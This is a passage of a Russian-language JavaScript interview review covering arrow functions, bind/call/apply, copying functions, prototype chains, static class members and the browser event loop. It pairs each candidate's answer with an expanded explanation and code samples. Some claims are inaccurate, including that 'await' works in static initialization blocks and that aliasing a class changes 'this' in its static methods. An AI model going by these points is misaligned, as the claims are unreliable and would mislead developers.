    class Base { greet() { return 'Base'; } }
    class Derived extends Base {
    // Стрелочное свойство класса — имеет доступ к super через [[HomeObject]] класса
    arrowGreet = () => super.greet() + ' -> Derived';

    // Обычный метод — тоже имеет super
    methodGreet() { return super.greet() + ' -> Derived'; }
    }
    Важно: super в стрелочной функции работает только если она создана внутри метода/класса, у которого есть [[HomeObject]]. В глобальном коде или в обычной функции — SyntaxError.

6. yield / Генераторы: Можно vs Нельзя

  • Function Declaration: Может быть генератором: function* gen() { yield 1; }.
  • Arrow Function: Не может быть генератором. yield внутри стрелочной — SyntaxError (если не вложен в генератор внешней функции).
    • Нет синтаксиса *() => {}.
    • Нет AsyncGenerator стрелки.

7. Хостинг и область видимости

ХарактеристикаFunction DeclarationArrow Function (как const)
ХостингПолное (имя + тело). Доступно везде в скопе.Только биндинга переменной (const/let/var). В TDZ до строки.
ScopeФункциональный (sloppy) / Блочный (strict/ESM).Блочный (всегда const/let поведение).
Имя (name)Явное.Вывод из переменной (Inferred Name) или anonymous.

8. caller / arguments.callee (Deprecated / Non-strict)

  • Function Declaration: В non-strict mode имеет свойство caller и arguments.callee (рекурсия анонимных функций).
  • Arrow Function: Нет caller, нет arguments → нет callee.
  • Рекурсия в анонимной стрелочке: Только через именованное выражение или Y-комбинатор (редко нужно).
    const fact = (n) => n <= 1 ? 1 : n * fact(n - 1); // Работает, т.к. fact в замыкании

9. Производительность и JIT (V8 / SpiderMonkey / JavaScriptCore)

  1. Inline Caches (IC): Для стрелочных функций IC для this проще (всегда одно значение), но для вызова (CallIC) — аналогично.
  2. Создание замыкания: Стрелочная функция, использующая внешние переменные (включая this), создает Closure Context (Context object в V8). Обычная функция создает контекст только если использует внешние переменные и не оптимизирована.
  3. Memory (Class Fields):
    class A { method = () => {} } // Функция создается В КОНСТРУКТОРЕ на КАЖДОМ new A()
    class B { method() {} } // Функция ОДНА на B.prototype
    Для высоконагруженных систем (тысячи экземпляров) — только методы в прототипе (class B). Стрелочные поля — удобство за память.
  4. Парсинг: Стрелочные функции парсятся чуть быстрее (нет блока function, нет prototype инициализации), но разница микроскопична.

10. Чек-лист: Что выбрать? (Decision Matrix)

СитуацияВыборПочему
Колбэк (map, filter, Promise.then, setTimeout)ArrowЛексический this, кратко, не нужен new.
Метод объекта / КлассаMethod Syntax (method() {})Нужен динамический this, super, прототип (память).
Event Listener (нужен this = element)Function Expression / DeclarationСтрелка сломает this.
Конструктор / Класс (extends)class / functionСтрелка не имеет [[Construct]] / prototype.
Рекурсия (анонимная)Named Function Expressionconst fn = function me() { me() } — надежно, видно в стеке.
Генератор / Async Generatorfunction* / async function*Стрелки не поддерживают yield.
Нужен arguments (легаси/варядика без rest)functionУ стрелочек нет arguments.
Динамический this (call, apply, bind)functionСтрелка игнорирует биндинг this.

Резюме: Стрелочные функции — это замыкания с лексическим this, лишенные механизма вызова как конструктора ([[Construct]]), прототипа, arguments и super (кроме лексического доступа). Они решают главную боль JS до ES6 — потерю this в колбэках, но не заменяют обычные функции там, где нужен полиморфизм контекста (this), наследование через прототипы или генераторы.

Вопрос 8. Можно ли привязать контекст к стрелочной функции через bind, call, apply.

Таймкод: 00:09:31

Ответ собеседника: Правильный. Сначала думал, что bind подойдет, но затем понял: стрелочные функции не имеют своего this, поэтому привязка контекста через bind, call, apply не сработает — лексический this останется неизменным.

Правильный ответ:

Короткий ответ: Нет, нельзя. Методы bind, call, apply игнорируют первый аргумент (thisArg) при работе со стрелочными функциями. this внутри стрелочной функции всегда остается лексическим (тем, что был в момент создания).


1. Как это работает по спецификации (ECMAScript)

У стрелочной функции внутренний слот [[ThisMode]] имеет значение lexical. При вызове внутреннего метода [[Call]] (который вызывается и при обычном вызове, и через call/apply, и при вызове биндированной функции) алгоритм делает следующее:

  1. Если [[ThisMode]] === lexicalиспользовать сохраненный [[ThisValue]] (захваченный из внешнего окружения при создании).
  2. Игнорировать thisArgument, переданный извне.
const obj = { x: 10 };
const arrow = () => this.x;

const bound = arrow.bind({ x: 20 }); // bind создает Bound Function Exotic Object
arrow.call({ x: 30 }); // call
arrow.apply({ x: 40 }); // apply

console.log(arrow()); // undefined (или window.x в sloppy mode) — лексический this модуля/скрипта
console.log(bound()); // undefined — bind проигнорирован
console.log(arrow.call({ x: 30 })); // undefined — call проигнорирован

Что происходит с bind: arrow.bind(newThis) создает новый объект-функцию (Bound Function), у которой:

  • [[BoundTargetFunction]] = arrow
  • [[BoundThis]] = newThis
  • Но у самой стрелочной функции [[ThisMode]] = lexical.
  • При вызове bound() → вызывается arrow.[[Call]] → видит lexical → берет свой [[ThisValue]][[BoundThis]] отбрасывается.

2. Аргументы (call/apply/bind с параметрами) — РАБОТАЮТ

Только this игнорируется. Передача аргументов работает нормально:

const sum = (a, b) => a + b;

sum.call(null, 1, 2); // 3
sum.apply(null, [1, 2]); // 3
const boundSum = sum.bind(null, 1);
boundSum(2); // 3

3. Почему так сделано (Design Rationale)

Стрелочные функции созданы именно для решения проблемы потери this в колбэках. Если бы bind/call/apply работали, это нарушало бы гарантию: «this внутри стрелки всегда равен this снаружи стрелки». Это сделало бы их поведение непредсказуемым и аналогичным обычным функциям, лишив смысл существования.


4. Типичные ошибки и ловушки (Senior Level)

А. addEventListener / removeEventListener

class Handler {
constructor() {
// ОШИБКА: bind создает НОВУЮ функцию каждый раз
// removeEventListener не сработает, т.к. ссылки разные
this.el.addEventListener('click', this.onClick.bind(this));
}
onClick = () => { /* ... */ } // Стрелка в поле класса
}

// ПРАВИЛЬНО для стрелочного поля класса (this зафиксирован на экземпляр):
// this.el.addEventListener('click', this.onClick);
// removeEventListener('click', this.onClick); // Сработает

Б. bind в цикле / рендере (React, Vue и т.д.)

// ПЛОХО: новая функция на каждый рендер
<button onClick={this.handleClick.bind(this, id)} />

// ХОРОШО (стрелочное поле класса или useCallback):
handleClick = (id) => { ... } // поле класса
// или
const handleClick = useCallback((id) => { ... }, []);

В. Object.defineProperty / дескрипторы Нельзя сделать стрелочную функцию аксессором (getter/setter) с динамическим this:

const obj = {
get arrowGet() { return this.x; } // Обычная функция (method syntax) — this динамический
};
// Нельзя: get: () => this.x — this будет лексическим (window/module), не obj

5. Как «обмануть» систему, если очень нужно (Anti-patterns)

Если критически необходимо вызвать стрелочную функцию с чужим this (например, интеграция со старой библиотекой, ожидающей this):

  1. Обертка (Wrapper) — единственный правильный способ:

    const arrow = () => console.log(this.x);
    const wrapper = function() { return arrow.call(this); }; // Обычная функция пробрасывает this
    wrapper.call({ x: 42 }); // 42

    Стрелка все равно использует свой лексический this, но если она не использует this вообще, а только аргументы — это работает.

  2. Переписать на обычную функцию. Если нужен динамический this — используйте function.


6. Резюме для собеседования

МетодОбычная функцияСтрелочная функция
fn.call(obj, ...)this = objthis = лексический (игнорирует obj)
fn.apply(obj, [...])this = objthis = лексический (игнорирует obj)
fn.bind(obj)Возвращает функцию с this = objВозвращает функцию, игнорирующую obj
АргументыРаботаютРаботают

Вывод: Стрелочные функции неполноценные в смысле управления контекстом. Они «закрыты» для внешнего воздействия на this. Это фича, не баг. Если нужен управляемый this — пишите function.

Вопрос 9. Как скопировать функцию, если нет structuredClone.

Таймкод: 00:13:14

Ответ собеседника: Неполный. Предложил просто передать ссылку на ту же функцию (так как функции — объекты и переиспользуются). Упомянул экзотический способ через new Function и toString(), но не уверен в его правильности. Не предложил создание новой функции с тем же телом вручную.

Правильный ответ:

Строго говоря, функции не клонируются (в отличие от объектов и массивов), потому что они являются исполняемым кодом + замыканием (Lexical Environment). structuredClone выбрасывает DataCloneError при попытке склонировать функцию.

Под «копированием» обычно подразумевают одно из двух:

  1. Создание новой функции-обертки (Wrapper), которая делегирует вызов оригиналу (сохраняет замыкание, this, аргументы).
  2. Воспроизведение кода функции (реконструкция) — сложно, ломает замыкания, используется редко.

1. Паттерн «Обертка» (Function Wrapper) — Стандартный подход

Создаем новую функцию, которая вызывает оригинальную. Это единственный надежный способ сохранить поведение, замыкание и контекст вызова.

function copyFunction(fn, name) {
// Используем Function Declaration/Expression для сохранения stack trace
// name — опционально, для дебаггинга
const wrapper = function (...args) {
return fn.apply(this, args); // Пробрасываем this и аргументы
};

// Копируем статические свойства (name, length, custom props)
// name — read-only, меняется через defineProperty
Object.defineProperty(wrapper, 'name', { value: name || fn.name, configurable: true });

// length — количество обязательных параметров (read-only)
Object.defineProperty(wrapper, 'length', { value: fn.length, configurable: true });

// Копируем кастомные свойства (например, fn.config = { retry: 3 })
Object.assign(wrapper, fn);

// Важно: prototype НЕ копируется (wrapper.prototype !== fn.prototype)
// Если fn — конструктор, wrapper НЕ сможет правильно создавать экземпляры
// (instanceof fn будет false). Это фундаментальное ограничение.

return wrapper;
}

// Использование
const original = function add(a, b) { return a + b; };
original.customProp = 42;

const copy = copyFunction(original, 'addCopy');
console.log(copy(1, 2)); // 3
console.log(copy.customProp); // 42
console.log(copy.name); // 'addCopy'
console.log(copy.length); // 2

Нюансы обертки:

  • this пробрасывается корректно (apply(this, args)).
  • Замыкание оригинала сохраняется (оригинал вызывается в своем лексическом окружении).
  • Потеря prototype: new copy() создаст объект с прототипом wrapper.prototype, а не original.prototype. instanceof originalfalse. Лечится только Object.setPrototypeOf(wrapper.prototype, original.prototype) (медленно, ломает оптимизации) или Reflect.construct внутри обертки (сложно).
  • new.target: Внутри fn будет new.target равным wrapper, а не undefined (если вызывали без new) или original.

2. new Function(...args, body) — Реконструкция из строки (Anti-pattern)

const copy = new Function('return ' + original.toString())();
// или
const copy = new Function(...original.toString().match(/\(([^)]*)\)/)[1].split(','), original.toString().match(/\{([\s\S]*)\}/)[1]);

Почему это плохо (Senior Level):

  1. Потеря замыкания (Scope): Новая функция создается в глобальной области видимости. Она не видит переменные из лексического окружения оригинала.
    function factory(secret) {
    return function inner() { return secret; };
    }
    const fn = factory(42);
    const copy = new Function('return ' + fn.toString())();
    copy(); // ReferenceError: secret is not defined
  2. CSP (Content Security Policy): Требует script-src 'unsafe-eval'. Заблокировано в продакшене многих банков/гос. систем.
  3. Производительность: Парсинг строки в рантайме — медленно, нет кэширования JIT (нет Inline Caches).
  4. Точность парсинга: toString() может вернуть нативный код ([native code]) для встроенных функций, минифицированный код без пробелов, или код с зависимостью от контекста (например, class extends выражение).
  5. this / arguments / super: Поведение может отличаться (strict mode по умолчанию в модулях, но new Function создает sloppy-функцию, если не добавить 'use strict'; в тело).

Когда допустимо: Только в песочницах, REPL, динамических плагинах, где нет замыканий и есть CSP unsafe-eval.


3. Function.prototype.bind — Частичное «копирование» с фиксацией this

const boundCopy = original.bind(null); // this = null (или obj)
  • Создает Bound Function Exotic Object.
  • length уменьшается на количество забинденных аргументов.
  • name = "bound " + original.name.
  • Нет prototype (нельзя использовать new boundCopy()TypeError).
  • Замыкание сохраняется.
  • Подходит, если нужно зафиксировать контекст и/или частично применить аргументы (currying), но не как универсальное клонирование.

4. eval — Аналог new Function, но с доступом к лексическому окружению

const copy = eval('(' + original.toString() + ')');
  • Имеет доступ к замыканию (в отличие от new Function), так как выполняется в текущем лексическом контексте.
  • Те же проблемы: CSP unsafe-eval, производительность, парсинг toString(), security риски (инъекции).
  • В строгом режиме ('use strict') eval создает свою область видимости, но переменные внешнего скоупа доступны для чтения/записи.

5. Копирование методов классов / прототипов

Если нужно скопировать метод с прототипа на другой объект/прототип:

// Простое присваивание ссылки (не копия функции, а копия ссылки)
Child.prototype.method = Parent.prototype.method;

// Если нужна обертка (например, для логирования/изменения this):
Child.prototype.method = function(...args) {
return Parent.prototype.method.apply(this, args);
};

// Object.assign / spread копируют ССЫЛКИ на функции
const obj2 = { ...obj1, method: obj1.method }; // Та же функция

6. Резюме: Чек-лист выбора стратегии

ЗадачаРешение
Просто передать функцию дальшеНе копируй. Используй ссылку fn. Функции иммутабельны по природе (код не меняется).
Добавить логирование / метрики / retry / дебаунсОбертка (Wrapper). Сохраняет this, замыкание, аргументы. Копируй name/length/props через Object.defineProperty/assign.
Зафиксировать this / каррингfn.bind(context, ...args). Понимай потерю prototype и изменение length.
Сериализация / передача в Worker / postMessageНельзя передать функцию. Передавай код как строку (fn.toString()) или используй Comlink / RPC библиотеки, которые делают прокси.
Глубокое клонирование объекта с методами (structuredClone)Исключи методы перед клонированием, затем восстанови ссылки/обертки. Функции не клонируются.
Нужна точная копия конструктора (для instanceof)Невозможно в пользовательском коде. Только нативные движки могут клонировать функцию с сохранением [[Realm]], [[Prototype]], [[HomeObject]].

Best Practice: В 99% случаев «копирование функции» — это XY Problem. Рефакторь код так, чтобы не требовалось копировать исполняемый код. Используй композицию, декораторы (обертки) или передачу ссылок.

Вопрос 10. Что является корневым прототипом для всех типов данных.

Таймкод: 00:16:01

Ответ собеседника: Правильный. В конце цепочки прототипов находится null, над ним — Object.prototype.

Правильный ответ:

Кандидат верно описал структуру вершины цепочки прототипов. Расширим ответ деталями, важными для понимания работы Object.prototype, примитивов и исключений.


1. Object.prototype — вершина для обычных объектов

Для любого объекта, созданного через:

  • Литерал: {}
  • Конструктор: new Object()
  • Object.create(null)ИСКЛЮЧЕНИЕ (см. ниже)
  • Конструкторные функции / Классы (если не переопределен прототип)

Цепочка выглядит так:

myObj → Object.prototype → null

Object.prototype содержит базовые методы, доступные у «всех» объектов: hasOwnProperty, isPrototypeOf, propertyIsEnumerable, toString, valueOf, toLocaleString, constructor.


2. null — конец цепочки

Спецификация определяет, что у Object.prototype внутренний слот [[Prototype]] равен null. При обращении к свойству движок поднимается по цепочке, пока не найдет свойство или не упрется в null → возвращает undefined.

Object.getPrototypeOf(Object.prototype); // null

3. Исключение: Object.create(null) — объекты без прототипа (Dictionary Objects)

const dict = Object.create(null);
dict.foo = 'bar';

console.log(dict.toString); // undefined (нет унаследованных методов)
console.log('toString' in dict); // false
Object.getPrototypeOf(dict); // null
  • У таких объектов нет Object.prototype в цепочке.
  • Используются как чистые хеш-мапы (map/dictionary) для хранения пользовательских данных без риска коллизий с встроенными свойствами (__proto__, constructor, hasOwnProperty).
  • В современном коде часто заменяются на Map, но полезны для JSON-подобных структур.

4. Примитивы и их прототипы (Wrapper Objects)

Примитивы (string, number, boolean, bigint, symbol) не имеют прототипа как значения. Однако при обращении к свойству/методу происходит автоупаковка (boxing) — создание временного объекта-обертки, чей прототипом является соответствующий встроенный прототип:

ПримитивОбертка (Constructor)Прототип обертки ([[Prototype]] обертки)
stringStringString.prototypeObject.prototypenull
numberNumberNumber.prototypeObject.prototypenull
booleanBooleanBoolean.prototypeObject.prototypenull
bigintBigIntBigInt.prototypeObject.prototypenull
symbolSymbolSymbol.prototypeObject.prototypenull
'str'.toString(); // Временно: new String('str').toString()
// Цепочка: String.prototype → Object.prototype → null

Важно: null и undefined не имеют оберток и прототипов. Любое обращение к свойству — TypeError.


5. Встроенные объекты (Arrays, Functions, Dates, Regexps, Maps, Sets...)

У всех встроенных конструкторов прототипы наследуются от Object.prototype:

[] → Array.prototype → Object.prototype → null
function(){}→ Function.prototype→ Object.prototype → null
new Date() → Date.prototype → Object.prototype → null
new Map() → Map.prototype → Object.prototype → null

Function.prototype — уникален: это функция (typeof Function.prototype === 'function'), у которой [[Prototype]] = Object.prototype.


6. Кросс-реальм (Cross-Realm) нюанс (iframe, window.open)

У каждого глобального объекта (window, globalThis) свой набор встроенных прототипов.

const iframe = document.createElement('iframe');
document.body.appendChild(iframe);
const iframeArr = iframe.contentWindow.Array;

[] instanceof Array; // true
[] instanceof iframeArr; // false (разные Array.prototype)
Object.getPrototypeOf([]) === Array.prototype; // true

Поэтому Array.isArray() надежнее instanceof Array.


7. Резюме: Схема «Корневого прототипа»

┌─────────────────────────────────────┐
│ Object.prototype │ ← ЕДИНЫЙ общий корень для ВСЕХ обычных объектов
│ (hasOwnProperty, toString, ...) │
└──────────────┬──────────────────────┘
│ [[Prototype]]

┌─────────────────────────────────────┐
│ null │ ← Конец цепочки (null prototype)
└─────────────────────────────────────┘

ИСКЛЮЧЕНИЯ (не имеют Object.prototype в цепочке):
1. Object.create(null) → null
2. Примитивы (как значения) → нет прототипа (только у временных оберток)
3. null / undefined → нет прототипа

Вопрос 11. Что такое статические методы и поля класса и где они применяются.

Таймкод: 00:16:19

Ответ собеседника: Правильный. Статические методы вызываются на самом классе без создания экземпляра. Привёл пример из практики: сервис-классы для работы с API (ClientActionService), где методы getList, update сделаны статическими, так как состояние экземпляра не нужно.

Правильный ответ:

Статические члены (static) принадлежат конструктору класса (функции-конструктору), а не его прототипу (prototype). Они недоступны на экземплярах (instance.staticMethodundefined).

В спецификации это реализуется через установку свойств непосредственно на функцию-конструктор (ClassName.prop = ...), а не на ClassName.prototype.


1. Синтаксис и виды статических членов (ES2022+)

class ApiClient {
// 1. Статические публичные поля (ES2022)
static baseUrl = 'https://api.example.com';
static defaultHeaders = { 'Content-Type': 'application/json' };

// 2. Статические приватные поля (ES2022) — настоящая инкапсуляция
static #cache = new Map();
static #requestId = 0;

// 3. Статические публичные методы
static getHeaders() {
return { ...this.defaultHeaders, 'X-Request-Id': ++this.#requestId };
}

// 4. Статические приватные методы (ES2022)
static #generateId() {
return Math.random().toString(36).slice(2);
}

// 5. Статический блок инициализации (ES2022) — сложная логика при загрузке класса
static {
console.log('ApiClient загружен, базовый URL:', this.baseUrl);
// Можно использовать await (только в модулях), try/catch, циклы
this.#initCacheFromLocalStorage();
}

// 6. Обычный (экземплярный) метод для контраста
constructor(endpoint) {
this.endpoint = endpoint;
}

async fetchData() {
// Обращение к статике через this.constructor или имя класса
const headers = this.constructor.getHeaders();
// или ApiClient.getHeaders()
return fetch(`${ApiClient.baseUrl}${this.endpoint}`, { headers });
}
}

2. Как это работает «под капотом» (Prototype Chain)

class Parent {
static staticProp = 'parent';
static staticMethod() { return 'parent method'; }
}

class Child extends Parent {}

// 1. Статические свойства НЕ в prototype цепочке экземпляров
const child = new Child();
console.log(child.staticProp); // undefined

// 2. Статические свойства НАСЛЕДУЮТСЯ через прототип КОНСТРУКТОРА
console.log(Child.staticProp); // 'parent' (нашли на Parent)
console.log(Child.staticMethod()); // 'parent method'

// 3. Цепочка прототипов конструкторов:
Child.__proto__ === Parent; // true (static inheritance)
Child.prototype.__proto__ === Parent.prototype; // true (instance inheritance)

Ключевой момент: extends настраивает две цепочки прототипов:

  1. Child.prototype → Parent.prototype (для экземпляров).
  2. Child → Parent (для статических членов).

3. this в статических методах — это Класс (Конструктор)

class Base {
static name = 'Base';
static printName() { console.log(this.name); }
}

class Derived extends Base {
static name = 'Derived';
}

Base.printName(); // 'Base' (this === Base)
Derived.printName(); // 'Derived' (this === Derived) — полиморфизм работает!

Это позволяет реализовывать Factory Methods и Active Record паттерны.


4. Паттерны применения (Senior/Architect Level)

А. Factory Methods (Фабричные методы) — классика

class User {
constructor(name, role) { this.name = name; this.role = role; }

static createAdmin(name) { return new User(name, 'admin'); }
static createGuest() { return new User('Guest', 'guest'); }
static async fromAPI(id) {
const data = await fetch(`/users/${id}`).then(r => r.json());
return new User(data.name, data.role);
}
}

const admin = User.createAdmin('Root'); // Четкое намерение, валидация внутри

Б. Singleton / Реестр / Кэш (Приватные статические поля #)

class ConfigManager {
static #instance = null;
static #settings = {};

static getInstance() {
if (!this.#instance) this.#instance = new ConfigManager();
return this.#instance;
}

static set(key, val) { this.#settings[key] = val; }
static get(key) { return this.#settings[key]; }
}

Приватные статические поля (#) — единственный способ сделать действительно приватное состояние на уровне класса в JS (доступно только внутри тела класса).

В. Утилиты и хелперы (Stateless)

class DateUtils {
static formatISO(date) { return date.toISOString().slice(0, 10); }
static addDays(date, days) { ... }
// Нет this, нет состояния — чистые функции, сгруппированные по неймспейсу
}

Г. Наследование конфигурации (Metadata)

class BaseModel {
static tableName = 'base_table';
static primaryKey = 'id';

static getQuery() { return `SELECT * FROM ${this.tableName}`; }
}

class UserModel extends BaseModel {
static tableName = 'users'; // Переопределение
static primaryKey = 'user_id';
}

UserModel.getQuery(); // 'SELECT * FROM users' — this указывает на UserModel

Д. Статические блоки инициализации (static {})

  • Выполняются один раз при определении класса (до создания экземпляров).
  • Имеют доступ к приватным статическим полям (#).
  • Поддерживают await (только в ES Modules).
  • Кейсы: загрузка конфигурации, регистрация в глобальном реестре, парсинг сложных констант.

5. Частые ошибки и ловушки

ОшибкаПричинаРешение
this.staticMethod() в экземплярном методеthis = экземпляр, у него нет статического методаthis.constructor.staticMethod() или ClassName.staticMethod()
super.staticMethod() в статическом методе наследникаРаботает корректно (вызывает родительский статический)Использовать без страха
super.staticMethod() в экземплярном методеsuper в экземплярном методе = Parent.prototype (нет статики)this.constructor.__proto__.staticMethod() или Parent.staticMethod()
Копирование класса const C = ParentСтатические методы скопированы (ссылка), но this внутри них будет указывать на CНормальное поведение, учитывать при декораторах
Object.assign(Child, Parent)Не настраивает цепочку прототипов конструкторов (Child.__proto__ !== Parent)Использовать extends или Object.setPrototypeOf(Child, Parent)

6. Статические поля vs Поля экземпляра (Performance & Memory)

class Example {
// 1. Статическое поле — ОДНО значение на весь класс (память O(1))
static sharedConfig = { retries: 3 };

// 2. Поле экземпляра — копия на КАЖДЫЙ new Example() (память O(N))
instanceConfig = { retries: 3 };

// 3. Метод в прототипе — ОДНА функция (O(1))
protoMethod() {}

// 4. Стрелочное поле класса — НОВАЯ функция на КАЖДЫЙ экземпляр (O(N))
arrowMethod = () => {};
}
  • Статические поля/методы — экономия памяти для общего состояния/логики.
  • Стрелочные поля класса (method = () => {}) — утечка памяти при массовом создании экземпляров (тысячи объектов), используйте только для авто-биндинга this в колбэках, где критично.

7. Резюме: Когда использовать static

  1. Фабрики (User.fromJSON(), Promise.resolve()).
  2. Синглтоны / Реестры / Кэши (приватные #fields).
  3. Конфигурация / Константы (defaultOptions, API_URL).
  4. Утилиты, не требующие состояния экземпляра (Math, DateUtils, Validator).
  5. Метаданные для ORM/ActiveRecord (tableName, fillable).
  6. Настройка наследования (переопределение статических полей в потомках).

Не используйте static, если метод нужен this экземпляра (доступ к this.props, this.state, приватным полям #field экземпляра).

Вопрос 12. Как устроен Event Loop в браузере.

Таймкод: 00:18:26

Ответ собеседника: Неполный. Описал цикл: синхронный код (стек) -> все микрозадачи (промисы, queueMicrotask) -> рендеринг браузера -> одна макрозадача (setTimeout, события, fetch). Упомянул Web API как источник асинхронности.

Правильный ответ:

Кандидат верно описал базовую модель (Call Stack → Microtasks → Render → Macrotask), но упустил ключевые детали: приоритеты задач, взаимодействие с рендерингом, requestAnimationFrame, requestIdleCallback, ** microtasks checkpoint** внутри рендеринга и отличия от Node.js.

Ниже — полная схема работы Event Loop в браузере по спецификации HTML Living Standard (Event Loop Processing Model).


1. Основные сущности

  • Call Stack (Стек вызовов): Выполняет синхронный JS-код. Один поток (Main Thread).
  • Web APIs (Browser APIs): setTimeout, fetch, DOM Events, requestAnimationFrame, IntersectionObserver и др. Работают параллельно с JS (в отдельных потоках браузера). Когда операция завершается, они помещают колбэк в Task Queue.
  • Task Queue (Macrotask Queue / Task Source): Очереди задач. В браузере не одна очередь, а несколько наборов очередей (Task Sources) с разным приоритетом:
    • User Interaction (click, input) — Highest.
    • Network / Fetch callbacksHigh.
    • Timers (setTimeout, setInterval) — Low (с клампингом 4мс для вложенных).
    • Idle callbacks (requestIdleCallback) — Lowest.
  • Microtask Queue (Microtask Queue): Очередь микрозадач. Источники:
    • Promise.then/catch/finally, await (после разрешения).
    • queueMicrotask(fn).
    • MutationObserver колбэки.
  • Rendering Steps (Render Pipeline): Не задача, а фаза внутри итерации цикла.

2. Алгоритм одной итерации Event Loop (Event Loop Tick)

Спецификация определяет строгий порядок:

ПОКА (Event Loop работает) {
1. ВЫПОЛНИТЬ СТАРУЮ ЗАДАЧУ (OLDEST TASK) ИЗ ПРИОРИТЕТНОЙ ОЧЕРЕДИ
→ Запуск Call Stack.
→ Выполнение до пустого стека.

2. MIROTASK CHECKPOINT (Пока Microtask Queue не пуста)
→ Взять микрозадачу → Выполнить (Call Stack).
→ Повторять, ПОКА очередь не пуста.
→ ВАЖНО: Микрозадачи, добавленные ДУРИНГ выполнении микрозадач, выполняются ТУТ ЖЕ в этом же чекпоинте.

3. УВЕДОМИТЬ "ОБНОВЛЕНИЕ РЕНДЕРИНГА" (Update the Rendering)
→ Если браузер считает нужным (обычно 60fps / vsync):
А. requestAnimationFrame (rAF) callbacks → выполняются ПЕРЕД layout/paint.
Б. IntersectionObserver callbacks.
В. ResizeObserver callbacks.
Г. СТИЛИ (Recalculate Style) → ЛЕЙАУТ (Layout/Reflow) → ПЕЙНТ (Paint) → COMPOSITE.
→ Если вкладка невидима / throttled — шаг может быть пропущен.

4. REQUESTIDLECALLBACK (если есть свободное время до следующего кадра)
→ Выполнение колбэков requestIdleCallback (deadline.timeRemaining()).

5. ПОВТОРИТЬ ЦИКЛ (вернуться к шагу 1).
}

3. Ключевые нюансы, отличающие Senior понимание

А. Микрозадачи «поглощают» макрозадачи Пока есть хоть одна микрозадача — следующая макрозадача не начнется.

console.log('1 Sync');
setTimeout(() => console.log('2 Macro'), 0);
Promise.resolve().then(() => {
console.log('3 Micro');
Promise.resolve().then(() => console.log('4 Micro nested')); // Добавилась в ТЕКУЩИЙ чекпоинт
});
console.log('5 Sync');
// Порядок: 1, 5, 3, 4, 2

Б. requestAnimationFrame (rAF) — это НЕ макрозадача и НЕ микрозадача Это колбэки, выполняющиеся в фазе рендеринга (шаг 3А), строго перед пересчетом стилей и лейаутом.

  • Гарантированно выполняются один раз за кадр (обычно 16.6мс).
  • Идеальны для анимаций, чтения/записи DOM (избегают Layout Thrashing).
  • Вложенные rAF запланируются на следующий кадр.

В. requestIdleCallback (rIC) — выполняется ПОСЛЕ рендеринга (шаг 4)

  • Только если браузер простаивает (есть время до дедлайна кадра).
  • Может не выполниться никогда, если вкладка активна и нагружена.
  • В Firefox/ Safari требует флага или не работает в основных потоках (Web Workers имеют свой Event Loop).

Г. Приоритеты Task Sources (Task Prioritization) Браузер не просто FIFO. Он выбирает задачу из очереди с высшим приоритетом.

// Порядок выполнения (примерно):
btn.onclick = () => console.log('Click'); // User Interaction (High)
setTimeout(() => console.log('Timeout'), 0); // Timer (Low)
fetch('/api').then(() => console.log('Fetch')); // Network (High) - когда придет ответ

// Клик пользователя обработается ДО таймера, даже если таймер стоит раньше в коде.
// Fetch придет асинхронно, но его колбэк будет High priority.

Д. MutationObserver — это Микрозадачи Срабатывают синхронно после изменения DOM, но перед рендерингом (в чекпоинте шага 2).

const obs = new MutationObserver(() => console.log('Mutated'));
obs.observe(el, { childList: true });

el.appendChild(node);
// 1. Sync: appendChild
// 2. Microtask Checkpoint: MutationObserver callback fires HERE
// 3. Render: Paint

Е. await и yield (планирование)

await Promise.resolve(); // → queueMicrotask (продолжение функции)
await 0; // → то же самое (thenable resolution)

await всегда отдает управление (yield) в микрозадачу.


4. Пример сложного порядка выполнения (Comprehensive Test)

console.log('1. Script Start');

setTimeout(() => console.log('2. setTimeout 0 (Macro)'), 0); // Timer Source

Promise.resolve().then(() => console.log('3. Promise (Micro)')); // Microtask

queueMicrotask(() => console.log('4. queueMicrotask (Micro)')); // Microtask

requestAnimationFrame(() => console.log('5. rAF (Render Phase)')); // Animation Frame Source

requestIdleCallback(() => console.log('6. rIC (Idle Phase)')); // Idle Source

// Добавим взаимодействие (если бы был клик, он прервал бы таймер)

console.log('7. Script End');

/*
ВЫВОД (порядок):
1. Script Start
7. Script End
3. Promise (Micro)
4. queueMicrotask (Micro)
--- Microtask Checkpoint End ---
--- Render Phase Start ---
5. rAF (Render Phase) <-- ПЕРЕД paint
--- Paint ---
--- Idle Phase ---
6. rIC (Idle Phase) <-- ЕСЛИ есть время
--- Next Tick ---
2. setTimeout 0 (Macro)
*/

5. Event Loop в Node.js — критические отличия (для полноты картины)

ХарактеристикаBrowserNode.js (libuv)
ФазыНепрерывный цикл с рендерингом6 фаз: Timers → Pending Callbacks → Idle/Prepare → Poll → Check → Close Callbacks
process.nextTickНет (аналог queueMicrotask)Отдельная очередь, выполняется после КАЖДОЙ фазы и между колбэками. Приоритет выше Promise.
setImmediateНет (полифил через postMessage)Фаза Check (сразу после Poll). Выполняется после I/O колбэков текущего тика.
Timers (setTimeout)Клампинг 4мс (вложенные)Минимум 1мс, но точность зависит от фазы Poll.
requestAnimationFrameЕсть (vsync)Нет (эмулируется через setImmediate/setTimeout).
Microtasks (Promise)После каждой задачи / рендераПосле каждой фазы + nextTick queue.

6. Практические паттерны (Best Practices)

  1. Не блокируйте Main Thread > 50мс (INP / Interaction to Next Paint metric). Дробите работу:
    // Плохо: блокирует рендеринг и ввод
    for (let i = 0; i < 1e7; i++) heavyCalc();

    // Хорошо: yield к Event Loop через scheduler.yield() (новый API) или setTimeout 0
    async function chunkedWork(items) {
    for (const item of items) {
    heavyCalc(item);
    if (shouldYield()) await scheduler.yield(); // или await Promise.resolve()
    }
    }
  2. DOM чтение/запись — батчинг через rAF:
    // Layout Thrashing (плохо)
    el.style.width = '100px';
    console.log(el.offsetWidth); // Force Reflow
    el.style.height = '100px';

    // Правильно (rAF батчит запись и чтение)
    requestAnimationFrame(() => {
    el.style.width = '100px';
    el.style.height = '100px';
    });
    requestAnimationFrame(() => {
    console.log(el.offsetWidth); // Читаем после paint
    });
  3. queueMicrotask vs Promise.resolve().then: queueMicrotask чуть быстрее (нет оверхеда промиса), семантичнее для «выполнить после текущего синхронного кода».
  4. Избегайте requestIdleCallback для критической логики — не гарантированно выполнится. Используйте для фоновой аналитики, префетчинга, некритичных вычислений.

7. Резюме для интервью (Mental Model)

  1. Sync Code → Stack.
  2. Microtasks (Promises, MutationObserver, queueMicrotask) → ДО рендера, до следующей макрозадачи. Выполняются до полной очереди.
  3. Render Phase (rAF → Style → Layout → Paint) → 60fps / vsync.
  4. Idle Phase (rIC) → Если время осталось.
